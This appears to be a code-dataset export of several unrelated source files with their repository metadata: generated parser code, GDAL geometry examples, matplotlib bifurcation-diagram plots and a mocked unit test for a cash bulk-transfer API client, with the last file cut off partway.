_G_python_3, lastError = eval('self.semanticPredicateExpr()', self.globals, _locals), None
self.considerError(lastError)
return (_G_python_3, self.currentError)
def rule_semanticAction(self):
_locals = {'self': self}
self.locals['semanticAction'] = _locals
_G_python_1, lastError = eval('"!("', self.globals, _locals), None
self.considerError(lastError)
_G_apply_2, lastError = self._apply(self.rule_token, "token", [_G_python_1])
self.considerError(lastError)
_G_python_3, lastError = eval('self.semanticActionExpr()', self.globals, _locals), None
self.considerError(lastError)
return (_G_python_3, self.currentError)
def rule_rulePart(self):
_locals = {'self': self}
self.locals['rulePart'] = _locals
_G_apply_1, lastError = self._apply(self.rule_anything, "anything", [])
self.considerError(lastError)
_locals['requiredName'] = _G_apply_1
_G_apply_2, lastError = self._apply(self.rule_spaces, "spaces", [])
self.considerError(lastError)
_G_apply_3, lastError = self._apply(self.rule_name, "name", [])
self.considerError(lastError)
_locals['n'] = _G_apply_3
def _G_pred_4():
_G_python_1, lastError = eval('n == requiredName', self.globals, _locals), None
self.considerError(lastError)
return (_G_python_1, self.currentError)
_G_pred_5, lastError = self.pred(_G_pred_4)
self.considerError(lastError)
_G_python_6, lastError = eval('setattr(self, "name", n)', self.globals, _locals), None
self.considerError(lastError)
_G_apply_7, lastError = self._apply(self.rule_expr4, "expr4", [])
self.considerError(lastError)
_locals['args'] = _G_apply_7
def _G_or_8():
_G_python_1, lastError = eval('"::="', self.globals, _locals), None
self.considerError(lastError)
_G_apply_2, lastError = self._apply(self.rule_token, "token", [_G_python_1])
self.considerError(lastError)
_G_apply_3, lastError = self._apply(self.rule_expr, "expr", [])
self.considerError(lastError)
_locals['e'] = _G_apply_3
_G_python_4, lastError = eval('self.builder.sequence([args, e])', self.globals, _locals), None
self.considerError(lastError)
return (_G_python_4, self.currentError)
def _G_or_9():
_G_python_1, lastError = eval('args', self.globals, _locals), None
self.considerError(lastError)
return (_G_python_1, self.currentError)
_G_or_10, lastError = self._or([_G_or_8, _G_or_9])
self.considerError(lastError)
return (_G_or_10, self.currentError)
def rule_rule(self):
_locals = {'self': self}
self.locals['rule'] = _locals
_G_apply_1, lastError = self._apply(self.rule_spaces, "spaces", [])
self.considerError(lastError)
def _G_lookahead_2():
_G_apply_1, lastError = self._apply(self.rule_name, "name", [])
self.considerError(lastError)
_locals['n'] = _G_apply_1
return (_locals['n'], self.currentError)
_G_lookahead_3, lastError = self.lookahead(_G_lookahead_2)
self.considerError(lastError)
_G_python_4, lastError = eval('n', self.globals, _locals), None
self.considerError(lastError)
_G_apply_5, lastError = self._apply(self.rule_rulePart, "rulePart", [_G_python_4])
self.considerError(lastError)
_locals['r'] = _G_apply_5
def _G_or_6():
def _G_many1_1():
_G_python_1, lastError = eval('n', self.globals, _locals), None
self.considerError(lastError)
_G_apply_2, lastError = self._apply(self.rule_rulePart, "rulePart", [_G_python_1])
self.considerError(lastError)
return (_G_apply_2, self.currentError)
_G_many1_2, lastError = self.many(_G_many1_1, _G_many1_1())
self.considerError(lastError)
_locals['rs'] = _G_many1_2
_G_python_3, lastError = eval('self.builder.rule(n, self.builder._or([r] + rs))', self.globals, _locals), None
self.considerError(lastError)
return (_G_python_3, self.currentError)
def _G_or_7():
_G_python_1, lastError = eval('self.builder.rule(n, r)', self.globals, _locals), None
self.considerError(lastError)
return (_G_python_1, self.currentError)
_G_or_8, lastError = self._or([_G_or_6, _G_or_7])
self.considerError(lastError)
return (_G_or_8, self.currentError)
def rule_grammar(self):
_locals = {'self': self}
self.locals['grammar'] = _locals
def _G_many_1():
_G_apply_1, lastError = self._apply(self.rule_rule, "rule", [])
self.considerError(lastError)
return (_G_apply_1, self.currentError)
_G_many_2, lastError = self.many(_G_many_1)
self.considerError(lastError)
_locals['rs'] = _G_many_2
_G_apply_3, lastError = self._apply(self.rule_spaces, "spaces", [])
self.considerError(lastError)
_G_python_4, lastError = eval('self.builder.makeGrammar(rs)', self.globals, _locals), None
self.considerError(lastError)
return (_G_python_4, self.currentError)
| 45.832196
| 137
| 0.606013
| 3,899
| 33,595
| 4.804565
| 0.047192
| 0.163348
| 0.249827
| 0.136657
| 0.863076
| 0.836919
| 0.781242
| 0.773608
| 0.744568
| 0.722682
| 0
| 0.020146
| 0.27897
| 33,595
| 732
| 138
| 45.894809
| 0.75321
| 0.019705
| 0
| 0.637195
| 0
| 0.001524
| 0.052442
| 0.013735
| 0
| 0
| 0
| 0
| 0
| 1
| 0.134146
| false
| 0.001524
| 0.003049
| 0.001524
| 0.27439
| 0
| 0
| 0
| 0
| null | 0
| 1
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
6b5ab77b13a9a1d13397a688c6d565266e46739e
| 629
|
py
|
Python
|
app/operational/admin/__init__.py
|
Anioko/reusable
|
de6480bc23fb8cfff474985128be91f4dd391be6
|
[
"MIT"
] | null | null | null |
app/operational/admin/__init__.py
|
Anioko/reusable
|
de6480bc23fb8cfff474985128be91f4dd391be6
|
[
"MIT"
] | null | null | null |
app/operational/admin/__init__.py
|
Anioko/reusable
|
de6480bc23fb8cfff474985128be91f4dd391be6
|
[
"MIT"
] | null | null | null |
from app.operational.admin.views import admin # noqa
from app.operational.admin.users import admin # noqa
from app.operational.admin.contact import admin # noqa
from app.operational.admin.payment import admin # noqa
from app.operational.admin.pricingplan import admin # noqa
from app.operational.admin.subscription import admin # noqa
from app.operational.admin.organisation import admin # noqa
from app.operational.admin.message import admin # noqa
from app.operational.admin.texts import admin # noqa
from app.operational.admin.marketplace import admin # noqa
from app.operational.admin.frontend import admin # noqa
| 52.416667
| 60
| 0.807631
| 88
| 629
| 5.772727
| 0.193182
| 0.151575
| 0.389764
| 0.498032
| 0.748032
| 0.748032
| 0.748032
| 0
| 0
| 0
| 0
| 0
| 0.122417
| 629
| 11
| 61
| 57.181818
| 0.92029
| 0.085851
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
6bde5c3cf5dfee5fc50013e7c4782f365d39d8c6
| 2,917
|
py
|
Python
|
python/gdal_cookbook/cookbook_geometry/calculate_in_geometry.py
|
zeroam/TIL
|
43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1
|
[
"MIT"
] | null | null | null |
python/gdal_cookbook/cookbook_geometry/calculate_in_geometry.py
|
zeroam/TIL
|
43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1
|
[
"MIT"
] | null | null | null |
python/gdal_cookbook/cookbook_geometry/calculate_in_geometry.py
|
zeroam/TIL
|
43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1
|
[
"MIT"
] | null | null | null |
from osgeo import ogr
"""
Calculate Envelope of a Geometry
"""
wkt = "LINESTRING (1181866.263593049 615654.4222507705, 1205917.1207499576 623979.7189589312, 1227192.8790041457 643405.4112779726, 1224880.2965852122 665143.6860159477)"
geom = ogr.CreateGeometryFromWkt(wkt)
# Get Envelope return a tuple (minX, maxX, minY, maxY)
env = geom.GetEnvelope()
print(f'minX:{env[0]}, minY:{env[0]}, maxX:{env[1]}, maxY:{env[3]}')
"""
Calculate the Area of a Geometry
"""
wkt = "POLYGON ((1162440.5712740074 672081.4332727483, 1162440.5712740074 647105.5431482664, 1195279.2416228633 647105.5431482664, 1195279.2416228633 672081.4332727483, 1162440.5712740074 672081.4332727483))"
poly = ogr.CreateGeometryFromWkt(wkt)
print(f'Area = {poly.GetArea()}')
"""
Calculate the Length of a Geometry
"""
wkt = "LINESTRING (1181866.263593049 615654.4222507705, 1205917.1207499576 623979.7189589312, 1227192.8790041457 643405.4112779726, 1224880.2965852122 665143.6860159477)"
geom = ogr.CreateGeometryFromWkt(wkt)
print(f'Length = {geom.Length()}')
"""
Get the geometry type (as a string) from a Geometry
"""
wkts = [
"POINT (1198054.34 648493.09)",
"LINESTRING (1181866.263593049 615654.4222507705, 1205917.1207499576 623979.7189589312, 1227192.8790041457 643405.4112779726, 1224880.2965852122 665143.6860159477)",
"POLYGON ((1162440.5712740074 672081.4332727483, 1162440.5712740074 647105.5431482664, 1195279.2416228633 647105.5431482664, 1195279.2416228633 672081.4332727483, 1162440.5712740074 672081.4332727483))"
]
for wkt in wkts:
geom = ogr.CreateGeometryFromWkt(wkt)
print(geom.GetGeometryName())
"""
Calculate intersection between two Geometries
"""
wkt1 = "POLYGON ((1208064.271243039 624154.6783778917, 1208064.271243039 601260.9785661874, 1231345.9998651114 601260.9785661874, 1231345.9998651114 624154.6783778917, 1208064.271243039 624154.6783778917))"
wkt2 = "POLYGON ((1199915.6662253144 633079.3410163528, 1199915.6662253144 614453.958118695, 1219317.1067437078 614453.958118695, 1219317.1067437078 633079.3410163528, 1199915.6662253144 633079.3410163528)))"
poly1 = ogr.CreateGeometryFromWkt(wkt1)
poly2 = ogr.CreateGeometryFromWkt(wkt2)
intersection = poly1.Intersection(poly2)
print(intersection.ExportToWkt())
"""
Calculate union between two Geometries
"""
wkt1 = "POLYGON ((1208064.271243039 624154.6783778917, 1208064.271243039 601260.9785661874, 1231345.9998651114 601260.9785661874, 1231345.9998651114 624154.6783778917, 1208064.271243039 624154.6783778917))"
wkt2 = "POLYGON ((1199915.6662253144 633079.3410163528, 1199915.6662253144 614453.958118695, 1219317.1067437078 614453.958118695, 1219317.1067437078 633079.3410163528, 1199915.6662253144 633079.3410163528)))"
poly1 = ogr.CreateGeometryFromWkt(wkt1)
poly2 = ogr.CreateGeometryFromWkt(wkt2)
union = poly1.Union(poly2)
print(f'poly1: {poly1}')
print(f'poly2: {poly2}')
print(f'union: {union.ExportToWkt()}')
| 41.671429
| 208
| 0.782996
| 330
| 2,917
| 6.921212
| 0.287879
| 0.084063
| 0.047285
| 0.057793
| 0.787215
| 0.754378
| 0.754378
| 0.754378
| 0.754378
| 0.754378
| 0
| 0.535809
| 0.095303
| 2,917
| 70
| 209
| 41.671429
| 0.32967
| 0.017827
| 0
| 0.393939
| 0
| 0.30303
| 0.725049
| 0.008155
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.030303
| 0
| 0.030303
| 0.242424
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 9
|
6bfe923af795ecd9b756be0ca5f9652d52ae5608
| 91
|
py
|
Python
|
comch/cubical/__init__.py
|
smimic/comch
|
cbc3249a2599787f2cb514ac61677778a9046063
|
[
"MIT"
] | 4
|
2020-12-31T21:58:58.000Z
|
2021-02-27T03:46:46.000Z
|
comch/cubical/__init__.py
|
smimic/comch
|
cbc3249a2599787f2cb514ac61677778a9046063
|
[
"MIT"
] | null | null | null |
comch/cubical/__init__.py
|
smimic/comch
|
cbc3249a2599787f2cb514ac61677778a9046063
|
[
"MIT"
] | 2
|
2020-12-31T21:59:09.000Z
|
2021-01-07T22:22:58.000Z
|
from .cubical import Cube
from .cubical import CubicalElement
from .cubical import Cubical
| 22.75
| 35
| 0.835165
| 12
| 91
| 6.333333
| 0.416667
| 0.434211
| 0.671053
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.131868
| 91
| 3
| 36
| 30.333333
| 0.962025
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
d41b44f6ecd4fcb6d85d5a93b77394488dec6b51
| 10,688
|
py
|
Python
|
assets/bifurcation/saddle-node.py
|
dantaylor688/dantaylor688.github.io
|
f430224693c94a7469826f88b88bd9b1460e1cc9
|
[
"MIT"
] | null | null | null |
assets/bifurcation/saddle-node.py
|
dantaylor688/dantaylor688.github.io
|
f430224693c94a7469826f88b88bd9b1460e1cc9
|
[
"MIT"
] | null | null | null |
assets/bifurcation/saddle-node.py
|
dantaylor688/dantaylor688.github.io
|
f430224693c94a7469826f88b88bd9b1460e1cc9
|
[
"MIT"
] | null | null | null |
from numpy import *
from matplotlib import *
from pylab import *
import matplotlib.lines as mlines
if __name__ == "__main__":
rc('text', usetex=True)
rc('font', family='serif')
fs = 20
### Example 1
x = arange(-5,5,0.1)
# r > 0
fig= figure(1)
ax = fig.add_subplot(311)
frame1 = plt.gca()
hold
r = 5
xdot = r + x**2
ax.plot(x,xdot,'b-')
ylim([min(xdot)-(r+1),max(xdot)])
ax.plot(x,zeros_like(x),'k-')
ax.set_title(r'$r > 0$')
frame1.axes.get_xaxis().set_visible(False)
frame1.axes.get_yaxis().set_visible(False)
ax.annotate('', xy=(-2, 0), xytext=(-3, 0),
arrowprops=dict(facecolor='black', shrink=0.04, width=1),
)
ax.annotate('', xy=(3, 0), xytext=(2, 0),
arrowprops=dict(facecolor='black', shrink=0.04, width=1),
)
# lft = mlines.Line2D.fillStyles
# r = 0
ax = fig.add_subplot(312)
frame1 = plt.gca()
r = 0
xdot = r + x**2
ax.plot(x,xdot,'b-')
ax.plot(0,0,'bo',fillstyle='left',mec='b')
ylim([-1,max(xdot)])
ax.plot(x,zeros_like(x),'k-')
ax.set_title(r'$r = 0$')
frame1.axes.get_xaxis().set_visible(False)
frame1.axes.get_yaxis().set_visible(False)
ax.annotate('', xy=(-2, 0), xytext=(-3, 0),
arrowprops=dict(facecolor='black', shrink=0.04, width=1),
)
ax.annotate('', xy=(3, 0), xytext=(2, 0),
arrowprops=dict(facecolor='black', shrink=0.04, width=1),
)
# r < 0
ax = fig.add_subplot(313)
frame1 = plt.gca()
r = -5
xdot = r + x**2
ax.plot(x,xdot,'b-')
ax.plot(sqrt(-r),0,'bo',mfc='none',mec='b')
ax.plot(-sqrt(-r),0,'bo',fillstyle='full',mec='b')
ylim([min(xdot)-1,max(xdot)])
ax.plot(x,zeros_like(x),'k-')
ax.set_title(r'$r < 0$')
xlabel(r'$x$',fontsize=fs)
ylabel(r'$\dot{x}$',fontsize=fs)
frame1.axes.get_xaxis().set_visible(False)
frame1.axes.get_yaxis().set_visible(False)
ax.annotate('', xy=(-sqrt(-r)-1, 0), xytext=(-sqrt(-r) - 2, 0),
arrowprops=dict(facecolor='black', shrink=0.04, width=1),
)
ax.annotate('', xy=(0, 0), xytext=(sqrt(-r)/2., 0),
arrowprops=dict(facecolor='black', shrink=0.04, width=1),
)
ax.annotate('', xy=(sqrt(-r)+2, 0), xytext=(sqrt(-r) + 1, 0),
arrowprops=dict(facecolor='black', shrink=0.04, width=1),
)
### Just axes
# r > 0
fig= figure(500)
ax = fig.add_subplot(311)
frame1 = plt.gca()
hold
r = 5
ylim([-1,1])
ax.plot(x,zeros_like(x),'k-')
ax.set_title(r'$r > 0$')
frame1.axes.get_xaxis().set_visible(False)
frame1.axes.get_yaxis().set_visible(False)
ax.annotate('', xy=(-2, 0), xytext=(-3, 0),
arrowprops=dict(facecolor='black', shrink=0.04, width=1),
)
ax.annotate('', xy=(3, 0), xytext=(2, 0),
arrowprops=dict(facecolor='black', shrink=0.04, width=1),
)
# lft = mlines.Line2D.fillStyles
# r = 0
ax = fig.add_subplot(312)
frame1 = plt.gca()
r = 0
ax.plot(0,0,'ko',fillstyle='left',mec='k')
ylim([-1,1])
ax.plot(x,zeros_like(x),'k-')
ax.set_title(r'$r = 0$')
frame1.axes.get_xaxis().set_visible(False)
frame1.axes.get_yaxis().set_visible(False)
ax.annotate('', xy=(-2, 0), xytext=(-3, 0),
arrowprops=dict(facecolor='black', shrink=0.04, width=1),
)
ax.annotate('', xy=(3, 0), xytext=(2, 0),
arrowprops=dict(facecolor='black', shrink=0.04, width=1),
)
# r < 0
ax = fig.add_subplot(313)
frame1 = plt.gca()
r = -5
ax.plot(sqrt(-r),0,'ko',mfc='none',mec='k')
ax.plot(-sqrt(-r),0,'ko',fillstyle='full',mec='k')
ylim([-1,1])
ax.plot(x,zeros_like(x),'k-')
ax.set_title(r'$r < 0$')
xlabel(r'$x$',fontsize=fs)
ylabel(r'$\dot{x}$',fontsize=fs)
frame1.axes.get_xaxis().set_visible(False)
frame1.axes.get_yaxis().set_visible(False)
ax.annotate('', xy=(-sqrt(-r)-1, 0), xytext=(-sqrt(-r) - 2, 0),
arrowprops=dict(facecolor='black', shrink=0.04, width=1),
)
ax.annotate('', xy=(0, 0), xytext=(sqrt(-r)/2., 0),
arrowprops=dict(facecolor='black', shrink=0.04, width=1),
)
ax.annotate('', xy=(sqrt(-r)+2, 0), xytext=(sqrt(-r) + 1, 0),
arrowprops=dict(facecolor='black', shrink=0.04, width=1),
)
### Example 2
#r > 0
x = arange(-0.99,5,0.01)
lx = arange(-2,5,0.01)
r = 1
fig= figure(2)
ax = fig.add_subplot(311)
frame1 = plt.gca()
hold
ax.plot(lx,r+lx,'b-')
ax.plot(x,log(1+x),'g-')
ax.plot(lx,zeros_like(lx),'k-')
xlabel(r'$x$',fontsize=fs)
ylabel(r'$\dot{x}$',fontsize=fs)
xlim([-2,5])
ylim([-4,5])
title(r'$r > 0$')
ax.annotate('', xy=(-0.5, 0), xytext=(-1, 0),
arrowprops=dict(facecolor='black', shrink=0.04, width=1),
)
ax.annotate('', xy=(2.5, 0), xytext=(2, 0),
arrowprops=dict(facecolor='black', shrink=0.04, width=1),
)
frame1.axes.get_xaxis().set_visible(False)
frame1.axes.get_yaxis().set_visible(False)
# r = 0
x = arange(-0.99,5,0.01)
lx = arange(-2,5,0.01)
r = 0
# fig= figure(3)
ax = fig.add_subplot(312)
frame1 = plt.gca()
hold
ax.plot(lx,r+lx,'b-')
ax.plot(x,log(1+x),'g-')
ax.plot(lx,zeros_like(lx),'k-')
ax.plot(0,0,'ko',fillstyle='left',mec='b')
xlabel(r'$x$',fontsize=fs)
ylabel(r'$\dot{x}$',fontsize=fs)
xlim([-2,5])
ylim([-4,5])
ax.set_title(r'$r = 0$')
ax.annotate('', xy=(-0.5, 0), xytext=(-1, 0),
arrowprops=dict(facecolor='black', shrink=0.04, width=1),
)
ax.annotate(r'$r_c$', xy=(0, 0), xytext=(-0.3, 0.3))
ax.annotate('', xy=(2.5, 0), xytext=(2, 0),
arrowprops=dict(facecolor='black', shrink=0.04, width=1),
)
frame1.axes.get_xaxis().set_visible(False)
frame1.axes.get_yaxis().set_visible(False)
# r < 0
x = arange(-0.99,5,0.01)
lx = arange(-2,5,0.01)
r = -1
# fig= figure(4)
ax = fig.add_subplot(313)
xlabel(r'$x$',fontsize=fs)
ylabel(r'$\dot{x}$',fontsize=fs)
frame1 = plt.gca()
hold
ax.plot(lx,r+lx,'b-')
ax.plot(x,log(1+x),'g-')
ax.plot(lx,zeros_like(lx),'k-')
ax.plot(-0.8,0,'ko',fillstyle='full',mec='k')
ax.plot(2.1,0,'ko',mfc='none',mec='k')
xlim([-2,5])
ylim([-4,5])
ax.set_title(r'$r < 0$')
ax.annotate('', xy=(0.1, 0), xytext=(0.8, 0),
arrowprops=dict(facecolor='black', shrink=0.04, width=1),
)
ax.annotate('', xy=(-1.5, 0), xytext=(-1.9, 0),
arrowprops=dict(facecolor='black', shrink=0.04, width=1),
)
ax.annotate('', xy=(3, 0), xytext=(2.5, 0),
arrowprops=dict(facecolor='black', shrink=0.04, width=1),
)
frame1.axes.get_xaxis().set_visible(False)
frame1.axes.get_yaxis().set_visible(False)
# r < 0 again as a separate plot
x = arange(-0.99,5,0.01)
lx = arange(-2,5,0.01)
r = -1
fig= figure(4)
ax = fig.add_subplot(111)
frame1 = plt.gca()
hold
ax.plot(lx,r+lx,'b-')
ax.plot(x,log(1+x),'g-')
xlabel(r'$x$',fontsize=fs)
ylabel(r'$\dot{x}$',fontsize=fs)
ax.plot(lx,zeros_like(lx),'k-')
ax.plot(-0.8,0,'ko',fillstyle='full',mec='k')
ax.plot(2.1,0,'ko',mfc='none',mec='k')
xlim([-2,5])
ylim([-4,5])
ax.set_title(r'$r < 0$')
ax.annotate('', xy=(0.1, 0), xytext=(0.8, 0),
arrowprops=dict(facecolor='black', shrink=0.04, width=1),
)
ax.annotate('', xy=(-1.5, 0), xytext=(-1.9, 0),
arrowprops=dict(facecolor='black', shrink=0.04, width=1),
)
ax.annotate('', xy=(3, 0), xytext=(2.5, 0),
arrowprops=dict(facecolor='black', shrink=0.04, width=1),
)
frame1.axes.get_xaxis().set_visible(False)
frame1.axes.get_yaxis().set_visible(False)
## Bifurcation diagram example log(1+x)
x = arange(-0.99,5,0.01)
lx = arange(-2,5,0.01)
r = -1
fig= figure(4)
ax = fig.add_subplot(111)
frame1 = plt.gca()
hold
ax.plot(lx,r+lx,'b-')
ax.plot(x,log(1+x),'g-')
ax.plot(lx,zeros_like(lx),'k-')
ax.plot(-0.8,0,'ko',fillstyle='full',mec='k')
xlabel(r'$x$',fontsize=fs)
ylabel(r'$\dot{x}$',fontsize=fs)
ax.plot(2.1,0,'ko',mfc='none',mec='k')
xlim([-2,5])
ylim([-4,5])
ax.set_title(r'$r < 0$')
ax.annotate('', xy=(0.1, 0), xytext=(0.8, 0),
arrowprops=dict(facecolor='black', shrink=0.04, width=1),
)
ax.annotate('', xy=(-1.5, 0), xytext=(-1.9, 0),
arrowprops=dict(facecolor='black', shrink=0.04, width=1),
)
ax.annotate('', xy=(3, 0), xytext=(2.5, 0),
arrowprops=dict(facecolor='black', shrink=0.04, width=1),
)
frame1.axes.get_xaxis().set_visible(False)
frame1.axes.get_yaxis().set_visible(False)
### Bifurcation diagram
## r = log(1+x)-x
nx = arange(-0.99,0,0.01)
px = arange(0,5,0.01)
fig= figure(650)
ax = fig.add_subplot(111)
frame1 = plt.gca()
hold
ax.plot(log(1+nx)-nx,nx,'b-')
ax.plot(log(1+px)-px,px,'b--')
ax.plot(arange(-5,6),zeros_like(arange(-5,6)),'k-')
ylabel(r'$x^*$',fontsize=fs)
xlabel(r'$r$',fontsize=fs)
xlim([-5,5])
ax.annotate('Stable', xy=(-4, 16), xytext=(-3,17),
arrowprops=dict(facecolor='black', shrink=0.04, width=1),
)
ax.annotate('Unstable', xy=(4, 16), xytext=(2, 17),
arrowprops=dict(facecolor='black', shrink=0.04, width=1),
)
frame1.axes.get_xaxis().set_visible(True)
frame1.axes.get_yaxis().set_visible(True)
## x = +-sqrt(-r)
rp = arange(0,5,0.01)
fig= figure(6001)
lx = arange(-5,3,0.01)
ax = fig.add_subplot(111)
frame1 = plt.gca()
hold
ax.plot(-rp,sqrt(rp),'b--')
ax.plot(-rp,-sqrt(rp),'b-')
ax.plot(lx,zeros_like(lx),'k-')
xlabel(r'$r$',fontsize=fs)
ylabel(r'$x^*$',fontsize=fs)
xlim([-5,3])
ax.annotate('Stable', xy=(-4, -2), xytext=(-3,-2.5),
arrowprops=dict(facecolor='black', shrink=0.04, width=1),
)
ax.annotate('Unstable', xy=(-4, 2), xytext=(-3, 2.5),
arrowprops=dict(facecolor='black', shrink=0.04, width=1),
)
frame1.axes.get_xaxis().set_visible(True)
frame1.axes.get_yaxis().set_visible(True)
show()
| 31.809524
| 73
| 0.52573
| 1,673
| 10,688
| 3.300658
| 0.067543
| 0.046722
| 0.12912
| 0.157189
| 0.914886
| 0.896233
| 0.886816
| 0.875407
| 0.860196
| 0.852046
| 0
| 0.071358
| 0.24738
| 10,688
| 336
| 74
| 31.809524
| 0.615117
| 0.027601
| 0
| 0.744828
| 0
| 0
| 0.052022
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.013793
| 0
| 0.013793
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
d47177eb95164bce4511c37da651163f40567690
| 93
|
py
|
Python
|
All_Source_Code/GatherData/GatherData_10.py
|
APMonitor/pds
|
fa9a7ec920802de346dcdf7f5dd92d752142c16f
|
[
"MIT"
] | 11
|
2021-01-21T09:46:29.000Z
|
2022-03-16T19:33:10.000Z
|
All_Source_Code/GatherData/GatherData_10.py
|
the-mahapurush/pds
|
7cb4087dd8e75cb1e9b2a4283966c798175f61f7
|
[
"MIT"
] | 1
|
2022-03-16T19:47:09.000Z
|
2022-03-16T20:11:50.000Z
|
All_Source_Code/GatherData/GatherData_10.py
|
the-mahapurush/pds
|
7cb4087dd8e75cb1e9b2a4283966c798175f61f7
|
[
"MIT"
] | 12
|
2021-02-08T21:11:11.000Z
|
2022-03-20T12:42:49.000Z
|
f = open('dx.csv', 'r')
print(f.readline())
print(f.readline())
print(f.readline())
f.close()
| 18.6
| 23
| 0.634409
| 16
| 93
| 3.6875
| 0.5
| 0.305085
| 0.711864
| 0.644068
| 0.711864
| 0.711864
| 0
| 0
| 0
| 0
| 0
| 0
| 0.075269
| 93
| 5
| 24
| 18.6
| 0.686047
| 0
| 0
| 0.6
| 0
| 0
| 0.074468
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0.6
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
|
0
| 7
|
d4781f46de1f727d96956387c430053e16fe68c4
| 30,470
|
py
|
Python
|
tests/cash_service_test_case.py
|
odeoteknologi/odeo-python-sdk
|
31a0b21a8b23d887fef16b09e1293091e520a23e
|
[
"MIT"
] | null | null | null |
tests/cash_service_test_case.py
|
odeoteknologi/odeo-python-sdk
|
31a0b21a8b23d887fef16b09e1293091e520a23e
|
[
"MIT"
] | null | null | null |
tests/cash_service_test_case.py
|
odeoteknologi/odeo-python-sdk
|
31a0b21a8b23d887fef16b09e1293091e520a23e
|
[
"MIT"
] | null | null | null |
import json
import unittest
import odeo.client
from odeo.exceptions import GeneralError, InputValidationError
from odeo.models.cash import *
from tests.service_test_case import ServiceTestCase
class CashServiceTestCase(ServiceTestCase):
def test_create_bulk_transfers(self):
self.adapter.register_uri(
'POST',
odeo.client.DEVELOPMENT_BASE_URL + '/cash/bulk-transfer',
request_headers={
'Authorization': 'Bearer ' + self.access_token,
'Content-Type': 'application/json',
'X-Odeo-Timestamp': '1612137600',
'X-Odeo-Signature': 'TPGgchibPJopgD2RSgD7H69kT6RimGUZqVhHwgovTrI='
},
text=json.dumps({
'transfers': [{
'transfer_id': '123',
'sender_user_id': '456',
'receiver_user_id': '789',
'amount': 1000000,
'reference_id': 'EXAMPLE-REF-ID-001',
'note': 'Example description',
'created_at': '1612137600'
}],
})
)
self.assertEqual(
[Transfer(
transfer_id='123',
sender_user_id=456,
receiver_user_id=789,
amount=1000000,
reference_id='EXAMPLE-REF-ID-001',
note='Example description',
created_at=datetime(2021, 2, 1)
)],
self.client.cash.create_bulk_transfers([
Request(
sender_user_id=456,
receiver_user_id=789,
amount=1000000,
reference_id='EXAMPLE-REF-ID-001',
note='Example description'
)
])
)
def test_create_bulk_transfers_with_default_params(self):
self.adapter.register_uri(
'POST',
odeo.client.DEVELOPMENT_BASE_URL + '/cash/bulk-transfer',
request_headers={
'Authorization': 'Bearer ' + self.access_token,
'Content-Type': 'application/json',
'X-Odeo-Timestamp': '1612137600',
'X-Odeo-Signature': 'Oncl5GPNiNlQHi/SKtuWa/HGjyGY7rkQ9jBA+j9aey4='
},
text=json.dumps({
'transfers': [{
'transfer_id': '123',
'sender_user_id': '456',
'receiver_user_id': '789',
'amount': 1000000,
'reference_id': 'EXAMPLE-REF-ID-001',
'created_at': '1612137600'
}],
})
)
self.assertEqual(
[Transfer(
transfer_id='123',
sender_user_id=456,
receiver_user_id=789,
amount=1000000,
reference_id='EXAMPLE-REF-ID-001',
created_at=datetime(2021, 2, 1)
)],
self.client.cash.create_bulk_transfers([
Request(
receiver_user_id=789,
amount=1000000,
reference_id='EXAMPLE-REF-ID-001'
)
])
)
def test_create_bulk_transfers_failed_amount_out_of_range(self):
self._create_failed_bulk_transfers_test(
InputValidationError,
10001,
'The requests.0.amount must be between 1000 and 1000000'
)
def test_create_bulk_transfers_failed_reference_id_already_used(self):
self._create_failed_bulk_transfers_test(
GeneralError, 10000, 'EXAMPLE-REF-ID-001 reference id exists'
)
def _create_failed_bulk_transfers_test(self, error, error_code, message):
self.adapter.register_uri(
'POST',
odeo.client.DEVELOPMENT_BASE_URL + '/cash/bulk-transfer',
request_headers={
'Authorization': 'Bearer ' + self.access_token,
'Content-Type': 'application/json',
'X-Odeo-Timestamp': '1612137600',
'X-Odeo-Signature': 'Oncl5GPNiNlQHi/SKtuWa/HGjyGY7rkQ9jBA+j9aey4='
},
status_code=400,
text=json.dumps({
